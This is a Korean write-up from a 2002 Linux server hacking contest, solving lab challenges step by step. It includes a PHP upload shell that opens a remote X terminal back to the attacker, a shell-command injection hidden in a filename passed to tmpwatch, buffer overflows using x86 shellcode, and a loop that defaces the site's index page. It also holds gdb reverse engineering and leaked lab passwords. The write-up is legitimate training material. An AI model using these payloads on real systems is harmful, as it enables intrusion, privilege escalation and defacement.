::: 다음은 이번 제 1회 Hacking The Linux Contest에서 2위를 차지한 Realskulls 팀의 공격 보고서입니다. :::

제1회 "Hacking The Linux Server" 컨테스트 공격보고서

 

     작성자 : Real Skulls Team

     고유번호 : #H4SC30212

     

     * 리모트 어택

 

< 1번문제. >

 

힌트를 보니 구타는 메인페이지에 게시판 미리보기 기능을 넣었는데 평소에

웹페이지를 만들때는 나모웹에디터를 사용하고 서버에 올릴때 ws_ftp 를

쓴다고 한다. 나모웹에디터는 각 웹페이지를 만들때 마다 백업파일(.bak)을

생성하고, ws_ftp는 파일전송을 마치면 업로드 기록을 로그파일로 남긴다. (WS_FTP.LOG).

 

http://211.215.55.247/WS_FTP.LOG 파일을 열어보니 다 정상적인데 마지막줄만 수상하다.

다른 파일들의 확장자는 .bak 인데 마지막줄의 preload.htm의 백업파일의 확장자는 .backup 이다.

수상하여 열어보니

 

 

<?

$dbconn = mysql_connect("localhost", "guest", "welcome") || die("데이터베이스 연결에 실패하였습니다.");

$status = mysql_select_db("zboard");

if (!$status) {

exit;

}

?>

 

 

오.. 메인페이지에서 게시판 미리보기 기능을 쓰기위한 db아이디와

패스워드가 보인다.(ID: guest, PW: welcome)

결국 이 아이디와 패스워드로 텔넷접속하여 guest 계정 권한을 딸수있었다.

 

< 2번문제. >

 

힌트에서는 php 스크립트 파일설정 부분을 잘 보라고 한다.

httpd.conf파일을 살펴보면 다음과 같은 부분을 볼수있다.

 

 

AddType application/x-httpd-php .php .html .htm .php3 .inc .ph .phtml

 

 

 

이 부분의 내용은 .php .html .html .php3 .inc .ph .phtml 를 확장자로 갖는

파일은 모두 php파일로 인식한다는 의미이다.

 

게시판에 파일업로드를 해보니까 .ph 파일은 필터링 되지 않았다. 그래서,

ph 파일에 리모트로 한텀을 실행시키는 php코드를 넣어서 실행하였다.

 

 

<?

$ip = $REMOTE_ADDR;

system("/usr/X11R6/bin/hanterm -display $ip:0.0");

?>

 

 

 

이 내용을 ph 파일에 넣어 실행하니까 nobody권한의 한텀이 떳다.

 

bash-2.05a$ id

uid=99(nobody) gid=99(nobody) groups=99(nobody)

 

 

< 3번문제. >

 

포트스캐닝 하여 8888번포트가 열려있어 접속하였더니,

 

Trying 211.215.55.247...

Connected to 211.215.55.247.

Escape character is '^]'.

접속 완료!! 숨겨진 문자열을 찾아라!!

Connection closed by foreign host.

 

이런 메세지가 떳다.

8888번 포트라고 하니까 혹시 웹브라우저로 접속하면 되지 않나?

http://211.215.55.247:8888/ 로 접속하였다.

 

ID : guest, PW : welcome                          접속 완료!! 숨겨진 문자열을 찾아라!!

 

위와 같이 나와 아이디와 패스워드를 획득할수있었다.

 

 

* 로컬어택

 

1번문제 : guest -> walwal

 

Guest 단계에서 walwal 단계로 넘어가기.

처음 guest의 권한으로 로컬호스트에 접속했다. 그후 walwal계정 소유의 파일을

찾기위해 find명령어를 사용하였다.

 

 

sh-2.05a$ find / -user walwal -perm -4000 2>/dev/null

/bin/SolveMe/walwal

sh-2.05a$ ls -l /bin/SolveMe/

total 20

-rw-r----- 1 root walwal 143 Aug 16 08:38 HackTheNose.txt

-rwsr-sr-x 1 walwal walwal 14122 Aug 16 08:38 walwal

 

 

 

결과를 보면 HackTheNose.txt 파일과 walwal계정의 열쇠를 지고 있는 walwal파일이

보인다.

 

Walwal의 실행결과는 다음과 같았다.

 

sh-2.05a$ /bin/SolveMe/walwal

구타 : 아씨~ 이게 뭐야 어떻게 하라는거야!

멍멍 : 생각보다 쉬울껄?

구타 : 뭐야뭐야 이거 힙오버플로우야? 나 그거 못해!

멍멍 : 머리 뒀다 뭐하니~

 

이 walwal 이 이번 문제가 쉽다는것을 간접적(?) 으로 알려준듯하다. -_-;

아마도 /bin/SolveMe/walwal을 실행하면 저 HackTheNose.txt를 읽어들이는거 같다.

walwal프로그램을 실행하시키는 동안은 자신의 gid 가 walwal의 gid로 되어

walwal프로그램이 HackTheNose.txt를 읽을수 있었던 것이다.

그럼 gid가 walwal로 된 파일은 walwal이란 프로그램을 이용하면 모두 읽을 수 있을 듯하다.

 

이젠 walwal그룹 권한의 파일을 찾아보았다.

 

 

sh-2.05a$ find / -group walwal 2>/dev/null

/var/spool/mail/BOGUS.walwal.5tn

/etc/sysconfig/network-scripts/.hidden/WALWALPASSWD.TXT

/bin/SolveMe/HackTheNose.txt

/bin/SolveMe/walwal

/home/walwal

/home/guest/index.html

 

sh-2.05a$ ls -l /etc/sysconfig/network-scripts/.hidden/

total 4

-rw-r----- 2 root walwal 7 Aug 17 12:17 WALWALPASSWD.TXT

 

 

 

음.. 아무래도 너무 수상해보이는 파일이 있다. WALWALPASSWD.TXT 파일이다.

walwal계정의 패스워드를 담고있는 듯하다. 이 파일 역시 walwal그룹에 읽기권한이 있다.

우리는 walwal 프로그램을 이용하면 walwal그룹으로 된 파일을 읽을 수 있다는 걸 알고 있다.

우리는 HackTheNose.txt 대신 WALWALPASS.txt 를 walwal프로그램이 읽게 만들면 패스워드가 나온다.

 

그렇다면 어떤방법으로 저 패스워드를 볼수 있을까... 링크를 이용하였다.

 

 

sh-2.05a$ ln -s /etc/sysconfig/network-scripts/.hidden/WALWALPASSWD.TXT HackTheNose.txt

sh-2.05a$ ls -al

total 1

lrwxrwxrwx 1 guest guest 55 Aug 20 01:24 HackTheNose.txt

-> /etc/sysconfig/network-scripts/.hidden/WALWALPASSWD.TXT

 

 

 

링크를 걸었다. 실행해 보았다.

 

sh-2.05a$ /bin/SolveMe/walwal

마징가

 

WALWALPASSWD.TXT 파일이 읽혀져서 walwal의 패스워드가 출력되었다~ :)

 

ID: walwal

PW: akwldrk (마징가)

 

2번문제 : walwal -> guta

 

 

-- Hint --

어느날 구타는 자꾸 계정을 만들어 달라고 조르는 왈왈이에게

walwal이라는 계정을 만들어 주었다. 그런데 몇일이 지난 후

구타는 서버의 하드 용량이 꽉 차 있는 것을 발견하였다.

서버를 조사해 본 구타는 이놈의 왈왈이가 /home/walwal/movie/

디렉토리에 요샹한 동영상들을 왕창 올려 놓은 사실을

알게되었다. 구타는 즉시 모든 파일들을 삭제 했지만, 발정난

왈왈이는 어느새 또 다시 동영상들을 모아 올려놓곤 하였다.

 

몇번의 반복 끝에 짜증이 난 구타는 tmpwatch라는 프로그램을

이용하면 특정 디렉토리의 파일을 자동으로 정리할 수 있다는

정보를 입수. 검색 엔진을 통해 tmpwatch 프로그램을 받아 설치하였다.

그리고 tmpwatch가 자동으로 작동하게 하기 위하여 crontab에

다음과 같이 등록을 하였다.

 

PATH=/usr/bin:/bin:/tmp

* * * * * /usr/sbin/tmpwatch -m --fuser -f 1 /home/walwal/movie/

 

이제 왈왈이와의 신경전에서의 승리를 확실한 구타는 tmpwatch는

참 고마운 프로그램이다 라고 생각하며 편하게 잠이 들었다.

 

----------

 

 

 

[walwal@localhost walwal]$ rpm -qa | grep tmpwatch

tmpwatch-2.5.1-3

[walwal@localhost walwal]$

 

 

google.co.kr 에서 검색을 해보니 다음과 같은 문서를 찾았다.

 

http://ciac.llnl.gov/ciac/bulletins/l-005.shtml

 

대강 내용을 읽어보니 tmpwatch 내부 옵션중 --fuser 옵션은

시스템내의 /sbin/fuser 명령을 사용 system() 를 사용하는 것으로 나왔다.

좀 더 확실히 보기 위해 tmpwatch 의 소스를 받아 보았다.

그리고 103~107 줄에서 문제의 루틴을 찾게 됐다.

 

 

103 int ret;

104 char cmd[255];

105 snprintf(cmd, 255, "/sbin/fuser -s \"%s/%s\" > /dev/null 2>&1",

106 dirname, filename);

107 ret = system(cmd);

 

 

이것을 가지고 삽질을 하면서 시간을 많이 보내게 됐는데,

처음에는 무작정 ; 를 사용한 파일명을 만들게 되었고,

그러다 보니 hackerschool level 3 의 autodig 과 흡사하다는것을 알고

" " 를 사용했다.

그렇게 한시간을 삽질한 끝에 내가 원하던 결과를 walwal 의 메일로 받아 볼수 있었고

fuser -1 의 옵션을 알아보지 못한 무지로 인해 1시간의 시간을 허비했었다.

그리고 이를 이용 다음과 같은 소스를 컴파일 했다.

 

 

[walwal@localhost movie]$ cat > rs.c

#include <unistd.h>

main()

{

setreuid(1001,1001);

setregid(1001,1001);

system("/bin/bash");

}

[walwal@localhost movie]$ cat > "\";cc -o rs rs.c; chmod 6755 rs\""

[walwal@localhost movie]$ date

Tue Aug 20 09:53:15 EDT 2002

[walwal@localhost movie]$ touch -d 07:53 "\";cc -o rs rs.c; chmod 6755 rs\""

[walwal@localhost movie]$ ls -al rs

ls: rs: No such file or directory

[walwal@localhost movie]$ ls -al rs

ls: rs: No such file or directory

[walwal@localhost movie]$

[walwal@localhost movie]$ ls -al rs

-rwsr-sr-x 1 guta guta 13744 Aug 20 09:54 rs*

[walwal@localhost movie]$ ./rs

[guta@localhost movie]$ id

uid=1001(guta) gid=1001(guta) groups=1000(walwal)

[guta@localhost movie]$ rm -rf rs

[guta@localhost movie]$ rm -rf rs.c

[guta@localhost movie]$ rm -rf "\";cc -o rs rs.c; chmod 6755 rs\""

 

ID: guta

PW: glwnrglwnr

 

 

3번문제 : guta -> mungmung

 

mungmung의 권한으로 suid가 걸린 파일을 찾아보면

-r-s--sr-x 1 mungmung mungmung 18124 Aug 16 18:37 student*

을 찾을 수 있는데.. 이 파일을 실행시켜보니 1번 메뉴에서 학생들의 데이타를 입력받는데..

그 부분에서 stack overflow 가 일어난다. 간단하게 eggshell을 실행시키고 공격하면 될 것 같다.

 

 

[guta@localhost tmp]$ cat sh.c

 

#include <unistd.h>

main()

{

 

setreuid(1002, 1002);

system("/bin/bash");

}

 

 

 

와 같이 작성 한 후 컴파일 하자. 그후 일반적인 eggshell의

 

 

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/tmp/sh";

 

 

 

의 마지막을 다음과 같이 변경한 후 gcc -o egg egg.c

 

[guta@localhost .w0rm9]$ ./egg

Using address: 0xbffffb58

 

eggshell을 실행시켰다. 이제 student 의 ret를 0xbffffb58로 덮으면 된다.

공격코드를 짜보자.

 

(printf "1\n\x58\xfb\xff\xbf\x58\xfb\xff\xbf~이빠이~\x58\xfb\xff\xbf\x58\xfb\xff\xbf";cat)|./student

 

공격코드의 첫 1\n은 bof가 일어나는 곳이 1번 메뉴로들어가서 학생들의

데이타를 입력받는 부분에서 일어나기 때문이다.

 

id

uid=1002(mungmung) gid=1002(mungmung) groups=1001(guta)

 

ID : mungmung

PW : rownrdl

 

 

4번문제 : mungmung -> wizard

 

먼저 소스를 훑어보자.

 

 

#include <stdio.h>

#include <stdlib.h>

 

extern char **environ;

 

void hackerschool()

{

char buf[4];

printf("여기서 입력해야해요. : ");

fgets(buf, 13, stdin);

}

 

main(int argc, char *argv[])

{

int envpno;

 

if(argc>1) {

printf("Exit.\n");

return 0;

}

 

for(envpno=0; environ[envpno]; envpno++)

memset(environ[envpno], 0, strlen(environ[envpno]));

hackerschool();

 

}

 

 

소스를 보면 일반적으로 해오던 공격을 모두 막아 놓았다. ㅠ_ㅠ

4번과 같이 eggshell을 실행시켜서 공격할려해도

 

for(envpno=0; environ[envpno]; envpno++)

memset(environ[envpno], 0, strlen(environ[envpno]));

 

이 부분에서 실행된 eggshell을 모두 삭제해 버린다.

 

데이타를 입력받는 buf[4]에 shellcode를 넣고 공격할려고 하도 입력받을 수 있는 버퍼에

크기가 택도 없이 작다. argv[1]로 넣어볼려고 해도

 

if(argc>1) {

printf("Exit.\n");

 

이 부분에서 Exit.를 출력한다. 곰곰해 생각해보자. 이번엔 여태껏 해왔던 방법과는 다르게 해야 된다.

 

argv[0]에 shellcode를 넣고 공격해 보면 어떨까??

일단, shellcode를 argv[0]에 넣기 위한 코드를 작성해 보자.

 

 

#include <unistd.h>

main()

{

execl("./Use_Brain","\x31\xc0\x89\xc3\x89\xd9\xb0\x46\x66\xbb\xeb

\x03\x66\xb9\xeb\x03\xcd\x80\x31\xc0\x89\xc3\x89\xd9\xb0\x47\x6

6\xbb\xeb\x03\x66\xb9\xeb\x03\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x3

1\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56

\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh", NULL);

}

 

 

 

와 같이 작성해서 gcc -o rs rs.c 컴파일 하자.

이제 이걸 실행시키면 파일이름에 shellcode가 들어간다. 만쉐 (/-_-)/~

이젠 buf를 over시켜서 ret를 덮으면 된다. 당연 Use_Brain 으로...

먼저 dumpcode.h를 추가한 소스를 이용해서 &argv[0] 를 찾아보자.

 

 

[mungmung@localhost bang]$ cat Use_Brain.c

#include <stdio.h>

#include <stdlib.h>

#include "dumpcode.h"

 

extern char **environ;

 

void hackerschool(char **argv)

{

char buf[4];

printf("여기서 입력해야해요. : ");

fgets(buf, 13, stdin);

dumpcode(argv[0], 300);

}

 

main(int argc, char *argv[])

{

int envpno;

 

if(argc>1) {

printf("Exit.\n");

return 0;

}

 

for(envpno=0; environ[envpno]; envpno++)

memset(environ[envpno], 0, strlen(environ[envpno]));

hackerschool(argv);

 

}

 

 

 

와 같이 컴파일 한 후 rs파일을 실행시키면..

 

 

[mungmung@localhost bang]$ ./rs

여기서 입력해야해요. :

0xbffffc44 31 c0 89 c3 89 d9 b0 46 66 bb eb 03 66 b9 eb 03 1......Ff...f...

0xbffffc54 cd 80 31 c0 89 c3 89 d9 b0 47 66 bb eb 03 66 b9 ..1......Gf...f.

0xbffffc64 eb 03 cd 80 eb 1f 5e 89 76 08 31 c0 88 46 07 89 ......^.v.1..F..

0xbffffc74 46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80 31 db F......N..V...1.

0xbffffc84 89 d8 40 cd 80 e8 dc ff ff ff 2f 62 69 6e 2f 73 ..@......./bin/s

0xbffffc94 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 h...............

0xbffffca4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0xbffffcb4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0xbffffcc4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0xbffffcd4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0xbffffce4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0xbffffcf4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0xbffffd04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0xbffffd14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0xbffffd24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0xbffffd34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0xbffffd44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0xbffffd54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0xbffffd64 00 00 00 00 00 00 00 00 00 00 00 00 ............

[mungmung@localhost bang]$

 

 

 

다음과 같이 argv[0]의 주소를 알 수 있다. 이제 본래 파일인 /home/mungmung/SolveMe/Use_Brain 를

현재 디렉토리로 링크 한 후 덤프떠서 알아낸 주소를 변화를 줘가면서 공격해보자.

 

[mungmung@localhost bang]$ (printf "12345678\x45\xfc\xff\xbf";cat)|./expl

id

uid=1003(wizard) gid=1003(wizard) groups=1002(mungmung)

 

이런 얼마 되지 않아 wizard 가 떠 버렸다 ;-)

 

ID : wizard

PW : qufemfdmlwjswod(별들의전쟁)

 

5. 별들의 전쟁 : index.html

 

 

RS_Team 공격 script

----------------------------------------------------------------

while :; do

echo "

<html><head><title>RealSkulls Fighting!</title></head>

<center><br><br><br><br>

<a href=\"http://realskulls.org/\", target=\"_new\">

<img src="http://realskulls.org/img/index.gif" border=0></a>

<BR><BR><BR><B>

RealSkulls Team Fighting!!<br>

<BR>

<font color=red>

#H4SC30212<BR><BR></font>

Thx to gapado, mc, Toshi, INTRO, bang1575, Monkey, goodbe7, slugger, indra..<BR>

<BR>

-- by wayans --<BR>" > /server/Apache/htdocs/index.html

done

 

----------------------------------------------------------------

 

 

 

보너스 문제 1.

 

 

-- crypt --

 

bash-2.05a$ ln -sf /usr/sbin/crypt vuln

bash-2.05a$ gdb ./vuln

GNU gdb Red Hat Linux (5.1.90CVS-5)

Copyright 2002 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux"...

(gdb) disas main

Dump of assembler code for function main:

0x8048510 <main>:push %ebp

0x8048511 <main+1>:mov %esp,%ebp

0x8048513 <main+3>:push %edi

0x8048514 <main+4>:push %esi

0x8048515 <main+5>:sub $0x60,%esp

0x8048518 <main+8>:lea 0xffffffd8(%ebp),%edi

0x804851b <main+11>:mov $0x8048658,%esi

0x8048520 <main+16>:cld

0x8048521 <main+17>:mov $0x15,%ecx

0x8048526 <main+22>:repz movsb %ds:(%esi),%es:(%edi)

0x8048528 <main+24>:movb $0x0,0xffffffed(%ebp)

0x804852c <main+28>:lea 0xffffffb8(%ebp),%edi

0x804852f <main+31>:mov $0x804866d,%esi

0x8048534 <main+36>:cld

0x8048535 <main+37>:mov $0x15,%ecx

0x804853a <main+42>:repz movsb %ds:(%esi),%es:(%edi)

0x804853c <main+44>:movb $0x0,0xffffffcd(%ebp)

0x8048540 <main+48>:lea 0xffffffa8(%ebp),%edi

0x8048543 <main+51>:mov $0x8048682,%esi

0x8048548 <main+56>:cld

0x8048549 <main+57>:mov $0xd,%ecx

0x804854e <main+62>:repz movsb %ds:(%esi),%es:(%edi)

---Type <return> to continue, or q <return> to quit---

0x8048550 <main+64>:sub $0x8,%esp

0x8048553 <main+67>:push $0x80485d4

0x8048558 <main+72>:push $0x3

0x804855a <main+74>:call 0x8048394 <signal>

0x804855f <main+79>:add $0x10,%esp

0x8048562 <main+82>:sub $0x8,%esp

0x8048565 <main+85>:push $0x80485d4

0x804856a <main+90>:push $0x2

0x804856c <main+92>:call 0x8048394 <signal>

0x8048571 <main+97>:add $0x10,%esp

0x8048574 <main+100>:sub $0xc,%esp

0x8048577 <main+103>:push $0x804868f

0x804857c <main+108>:call 0x80483a4 <getpass>

0x8048581 <main+113>:add $0x10,%esp

0x8048584 <main+116>:mov %eax,0xffffffa4(%ebp)

0x8048587 <main+119>:sub $0x8,%esp

0x804858a <main+122>:pushl 0xffffffa4(%ebp)

0x804858d <main+125>:lea 0xffffffa8(%ebp),%eax

0x8048590 <main+128>:add $0x5,%eax

0x8048593 <main+131>:push %eax

0x8048594 <main+132>:call 0x8048384 <strcmp>

0x8048599 <main+137>:add $0x10,%esp

0x804859c <main+140>:mov %eax,%eax

---Type <return> to continue, or q <return> to quit---

0x804859e <main+142>:test %eax,%eax

0x80485a0 <main+144>:je 0x80485bc <main+172>

0x80485a2 <main+146>:sub $0xc,%esp

0x80485a5 <main+149>:push $0x804869a

0x80485aa <main+154>:call 0x80483e4 <printf>

0x80485af <main+159>:add $0x10,%esp

0x80485b2 <main+162>:sub $0xc,%esp

0x80485b5 <main+165>:push $0xffffffff

0x80485b7 <main+167>:call 0x80483f4 <exit>

0x80485bc <main+172>:sub $0xc,%esp

0x80485bf <main+175>:push $0x80486a8

0x80485c4 <main+180>:call 0x80483e4 <printf>

0x80485c9 <main+185>:add $0x10,%esp

0x80485cc <main+188>:lea 0xfffffff8(%ebp),%esp

0x80485cf <main+191>:pop %esi

0x80485d0 <main+192>:pop %edi

0x80485d1 <main+193>:pop %ebp

0x80485d2 <main+194>:ret

0x80485d3 <main+195>:nop

End of assembler dump.

(gdb) q

bash-2.05a$ ./vuln

Password:

 

틀렸습니다.

bash-2.05a$ strace ./vuln

execve("./vuln", ["./vuln"], [/* 18 vars */]) = 0

uname({sys="Linux", node="localhost.localdomain", ...}) = 0

brk(0) = 0x80497f0

open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory)

open("/etc/ld.so.cache", O_RDONLY) = 3

fstat64(3, {st_mode=S_IFREG|0644, st_size=23102, ...}) = 0

old_mmap(NULL, 23102, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40014000

close(3) = 0

open("/lib/i686/libc.so.6", O_RDONLY) = 3

read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0`u\1B4\0"..., 1024) = 10

24

fstat64(3, {st_mode=S_IFREG|0755, st_size=1401027, ...}) = 0

old_mmap(0x42000000, 1264928, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x420000

00

mprotect(0x4212c000, 36128, PROT_NONE) = 0

old_mmap(0x4212c000, 20480, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x12

c000) = 0x4212c000

old_mmap(0x42131000, 15648, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANON

YMOUS, -1, 0) = 0x42131000

close(3) = 0

munmap(0x40014000, 23102) = 0

brk(0) = 0x80497f0

brk(0x8049820) = 0x8049820

brk(0x804a000) = 0x804a000

rt_sigaction(SIGQUIT, {0x80485d4, [QUIT], SA_RESTART|0x4000000}, {SIG_DFL}, 8) =

0

rt_sigaction(SIGINT, {0x80485d4, [INT], SA_RESTART|0x4000000}, {SIG_DFL}, 8) = 0

open("/dev/tty", O_RDWR|O_CREAT|O_TRUNC, 0666) = 3

ioctl(3, SNDCTL_TMR_TIMEBASE, {B9600 opost isig icanon echo ...}) = 0

ioctl(3, SNDCTL_TMR_CONTINUE, {B9600 opost -isig icanon -echo ...}) = 0

fstat64(3, {st_mode=S_IFCHR|0666, st_rdev=makedev(5, 0), ...}) = 0

ioctl(3, SNDCTL_TMR_TIMEBASE, {B9600 opost -isig icanon -echo ...}) = 0

mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40

014000

write(3, "Password: ", 10Password: ) = 10

read(3, "csa\n", 4096) = 4

write(3, "\n", 1

) = 1

ioctl(3, SNDCTL_TMR_CONTINUE, {B9600 opost isig icanon echo ...}) = 0

close(3) = 0

munmap(0x40014000, 4096) = 0

fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0

mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40

014000

write(1, "\n", 1

) = 1

write(1, "\306\262\267\310\275\300\264\317\264\331.\n", 12틀렸습니다.

) = 12

munmap(0x40014000, 4096) = 0

_exit(-1) = ?

bash-2.05a$ gdb ./vuln

GNU gdb Red Hat Linux (5.1.90CVS-5)

Copyright 2002 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux"...

(gdb) info ofuinc func

All defined functions:

 

Non-debugging symbols:

0x0804834c _init

0x08048374 __register_frame_info

0x08048384 strcmp

0x08048394 signal

0x080483a4 getpass

0x080483b4 __deregister_frame_info

0x080483c4 psignal

0x080483d4 __libc_start_main

0x080483e4 printf

0x080483f4 exit

0x08048410 _start

0x08048434 call_gmon_start

0x08048460 __do_global_dtors_aux

0x080484c0 fini_dummy

0x080484d0 frame_dummy

0x08048500 init_dummy

0x08048510 main

0x080485d4 handler

0x080485f0 __do_global_ctors_aux

0x08048620 init_dummy

---Type <return> to continue, or q <return> to quit---

0x08048630 _fini

(gdb) b strcmp

Breakpoint 1 at 0x8048384

(gdb) r

Starting program: /usr/sbin/crypt

Breakpoint 1 at 0x4207fa70

Password:

 

Breakpoint 1, 0x4207fa70 in strcmp () from /lib/i686/libc.so.6

(gdb) info reg

eax 0xbffffb35-1073743051

ecx 0x00

edx 0x4212e1101108533520

ebx 0x4213030c1108542220

esp 0xbffffb0c0xbffffb0c

ebp 0xbffffb880xbffffb88

esi 0x804868f134514319

edi 0xbffffb3d-1073743043

eip 0x4207fa700x4207fa70

eflags 0x246582

cs 0x2335

ss 0x2b43

ds 0x2b43

es 0x2b43

fs 0x00

gs 0x00

fctrl 0x37f895

fstat 0x00

ftag 0xffff65535

fiseg 0x00

fioff 0x00

foseg 0x00

fooff 0x00

---Type <return> to continue, or q <return> to quit---

fop 0x00

xmm0 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm1 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm2 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm3 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm4 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm5 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm6 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm7 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

mxcsr 0x00

orig_eax 0xffffffff-1

(gdb) step

Single stepping until exit from function strcmp,

which has no line number information.

0x08048599 in main ()

(gdb) iun info stack

#0 0x08048599 in main ()

#1 0x42017499 in __libc_start_main () from /lib/i686/libc.so.6

(gdb) info reg

eax 0x11

ecx 0xffffffff-1

edx 0x8049988134519176

ebx 0x4213030c1108542220

esp 0xbffffb100xbffffb10

ebp 0xbffffb880xbffffb88

esi 0x804868f134514319

edi 0xbffffb3d-1073743043

eip 0x80485990x8048599

eflags 0x302770

cs 0x2335

ss 0x2b43

ds 0x2b43

es 0x2b43

fs 0x00

gs 0x00

fctrl 0x37f895

fstat 0x00

ftag 0xffff65535

fiseg 0x00

fioff 0x00

foseg 0x00

fooff 0x00

---Type <return> to continue, or q <return> to quit---

fop 0x00

xmm0 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm1 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm2 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm3 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm4 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm5 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm6 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm7 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

mxcsr 0x00

orig_eax 0xffffffff-1

(gdb) step

Single stepping until exit from function main,

which has no line number information.

 

틀렸습니다.

 

Program exited with code 0377.

(gdb) q

bash-2.05a$ gdb ./vuln

GNU gdb Red Hat Linux (5.1.90CVS-5)

Copyright 2002 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux"...

(gdb) disas main

Dump of assembler code for function main:

0x8048510 <main>:push %ebp

0x8048511 <main+1>:mov %esp,%ebp

0x8048513 <main+3>:push %edi

0x8048514 <main+4>:push %esi

0x8048515 <main+5>:sub $0x60,%esp

0x8048518 <main+8>:lea 0xffffffd8(%ebp),%edi

0x804851b <main+11>:mov $0x8048658,%esi

0x8048520 <main+16>:cld

0x8048521 <main+17>:mov $0x15,%ecx

0x8048526 <main+22>:repz movsb %ds:(%esi),%es:(%edi)

0x8048528 <main+24>:movb $0x0,0xffffffed(%ebp)

0x804852c <main+28>:lea 0xffffffb8(%ebp),%edi

0x804852f <main+31>:mov $0x804866d,%esi

0x8048534 <main+36>:cld

0x8048535 <main+37>:mov $0x15,%ecx

0x804853a <main+42>:repz movsb %ds:(%esi),%es:(%edi)

0x804853c <main+44>:movb $0x0,0xffffffcd(%ebp)

0x8048540 <main+48>:lea 0xffffffa8(%ebp),%edi

0x8048543 <main+51>:mov $0x8048682,%esi

0x8048548 <main+56>:cld

0x8048549 <main+57>:mov $0xd,%ecx

0x804854e <main+62>:repz movsb %ds:(%esi),%es:(%edi)

---Type <return> to continue, or q <return> to quit---

0x8048550 <main+64>:sub $0x8,%esp

0x8048553 <main+67>:push $0x80485d4

0x8048558 <main+72>:push $0x3

0x804855a <main+74>:call 0x8048394 <signal>

0x804855f <main+79>:add $0x10,%esp

0x8048562 <main+82>:sub $0x8,%esp

0x8048565 <main+85>:push $0x80485d4

0x804856a <main+90>:push $0x2

0x804856c <main+92>:call 0x8048394 <signal>

0x8048571 <main+97>:add $0x10,%esp

0x8048574 <main+100>:sub $0xc,%esp

0x8048577 <main+103>:push $0x804868f

0x804857c <main+108>:call 0x80483a4 <getpass>

0x8048581 <main+113>:add $0x10,%esp

0x8048584 <main+116>:mov %eax,0xffffffa4(%ebp)

0x8048587 <main+119>:sub $0x8,%esp

0x804858a <main+122>:pushl 0xffffffa4(%ebp)

0x804858d <main+125>:lea 0xffffffa8(%ebp),%eax

0x8048590 <main+128>:add $0x5,%eax

0x8048593 <main+131>:push %eax

0x8048594 <main+132>:call 0x8048384 <strcmp>

0x8048599 <main+137>:add $0x10,%esp

0x804859c <main+140>:mov %eax,%eax

---Type <return> to continue, or q <return> to quit---

0x804859e <main+142>:test %eax,%eax

